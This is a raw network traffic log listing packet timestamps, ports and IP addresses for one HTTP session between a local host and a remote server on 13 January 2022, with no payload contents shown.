Jan 13, 2022 20:51:33.919389009 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.919404984 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.919410944 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.919416904 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.919420958 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.919425011 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.919444084 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.919460058 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.919476032 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.919492006 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.919507980 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.919526100 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.919527054 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.919543028 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.919559956 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.919559002 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.919576883 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.919591904 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.919605970 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.919608116 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.919624090 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.919639111 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.919641018 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.919655085 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.919665098 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.919672012 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.919686079 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.919687986 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.919704914 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.919718981 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.919720888 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.919737101 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.919751883 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.919756889 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.919769049 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.919779062 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.919785023 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.919801950 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.919817924 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.919828892 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.919831991 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.919867039 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.919883013 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.919965982 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.955435038 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.955471039 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.955491066 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.955507040 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.955523968 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.955540895 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.955555916 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.955560923 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.955573082 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.955590963 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.955606937 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.955625057 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.955630064 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.955650091 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.955657959 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.955667973 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.955686092 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.955699921 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.955708027 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.955718040 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.955734968 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.955746889 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.955750942 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.955764055 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.955770969 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.955789089 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.955801010 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.955805063 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.955822945 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.955835104 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.955838919 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.955856085 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.955868006 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.955873966 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.955889940 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.955907106 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.955918074 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.955920935 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.955935001 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.955950975 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.955951929 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.955970049 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.955986977 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.956001997 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.956015110 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.956021070 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.956038952 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.956041098 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.956057072 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.956067085 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.956073046 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.956089973 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.956105947 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.956114054 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.956123114 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.956135988 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.956139088 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.956156969 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.956171036 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.956173897 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.956192970 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.956209898 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.956213951 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.956228018 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.956243038 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.956248045 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.956259966 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.956271887 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.956276894 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.956294060 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.956310034 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.956317902 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.956326962 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.956341982 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.956342936 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.956360102 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.956376076 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.956382036 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.956393003 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.956408978 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.956418037 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.956428051 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.956444979 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.956460953 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.956468105 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.956475973 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.956480980 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.956499100 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.956506968 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.956516027 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.956532001 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.956541061 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.956549883 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.956568956 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.956585884 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.956585884 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.956600904 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.956617117 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.956619024 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.956634045 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.956640005 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.956650019 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.956667900 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.956671953 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.956696987 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.956703901 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.956712008 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.956720114 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.956724882 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.956738949 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.956742048 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.956759930 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.956769943 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.956775904 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.956793070 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.956808090 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.956823111 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.956824064 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.956840992 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.956847906 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.956861019 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.956876993 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.956892014 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.956893921 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.956907988 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.956909895 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.956924915 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.956932068 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.956942081 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.956959009 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.956964016 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.956988096 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.956995010 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.956998110 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.957007885 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.957010031 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.957027912 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.957030058 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.957046032 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.957062006 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.957065105 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.957079887 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.957087040 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.957098007 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.957113981 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.957120895 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.957129955 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.957145929 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.957150936 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.957163095 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.957179070 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.957194090 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.957201004 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.957211018 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.957226992 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.957235098 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.957246065 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.957253933 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.957258940 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.957272053 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.957288027 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.957294941 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.957304955 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.957321882 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.957324982 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.957339048 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.957341909 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.957355976 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.957370996 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.957387924 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.957387924 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.957406044 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.957411051 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.957422972 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.957438946 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.957454920 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.957458019 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.957472086 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.957489014 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.957504034 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.957506895 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.957520008 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.957530022 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.957539082 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.957551003 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.957555056 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.957571983 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.957585096 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.957587957 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.957606077 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.957614899 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.957621098 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.957638025 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.957648993 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.957653999 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.957670927 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.957683086 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.957685947 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.957705021 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.957707882 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.957720995 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.957736969 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.957741976 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.957753897 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.957771063 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.957781076 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.957791090 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.957803011 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.957803965 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.957817078 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.957828999 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.957840919 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.957870007 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.957881927 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.957900047 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.957912922 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.957928896 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.957937002 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.957947016 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.957959890 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.957963943 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.957981110 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.957988024 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.957998037 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.958007097 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.958014965 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.958030939 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.958043098 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.958045959 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.958062887 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.958079100 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.958079100 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.958096981 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.958101988 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.958116055 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.958132029 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.958148003 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.958153009 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.958164930 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.958180904 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.958190918 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.958195925 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.958213091 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.958214998 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.958229065 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.958234072 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.958245993 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.958261967 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.958273888 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.958276987 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.958293915 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.958304882 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.958309889 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.958327055 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.958328009 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.958343983 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.958359957 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.958374977 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.958374977 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.958390951 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.958399057 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.958408117 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.958431005 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.958441019 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.958446980 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.958462954 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.958482027 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.958498001 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.958498955 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.958514929 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.958533049 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.958539963 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.958549976 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.958554983 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.958568096 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.958585024 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.958585024 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.958606005 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.958615065 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.958623886 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.958640099 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.958653927 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.958656073 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.958673000 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.958677053 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.958686113 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.958698034 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.958699942 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.958709955 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.958724022 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.958734989 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.958746910 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.958764076 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.958776951 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.958781004 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.958790064 CET	80	49847	141.8.194.74	192.168.2.5
